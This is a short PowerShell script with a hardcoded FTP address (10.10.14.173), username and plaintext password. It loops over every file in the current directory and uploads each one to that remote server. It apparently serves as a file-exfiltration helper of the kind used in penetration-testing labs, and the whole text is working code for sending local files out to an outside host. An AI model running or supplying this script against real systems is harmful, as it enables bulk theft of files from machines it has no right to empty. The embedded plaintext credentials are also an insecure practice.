#ftp server parameters
$ftp = "ftp://10.10.14.173/"
$user = "myftp"
$pass = "qwerty1234"

#create a web client object
$webclient = New-Object System.Net.WebClient
$webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass)

#list every file on the current dir and upload to ftp server
foreach($item in (dir $Dir "*")){
    "Uploading $item..."
    $uri = New-Object System.Uri($ftp+$item.Name)
    $webclient.UploadFile($uri, $item.FullName)
 }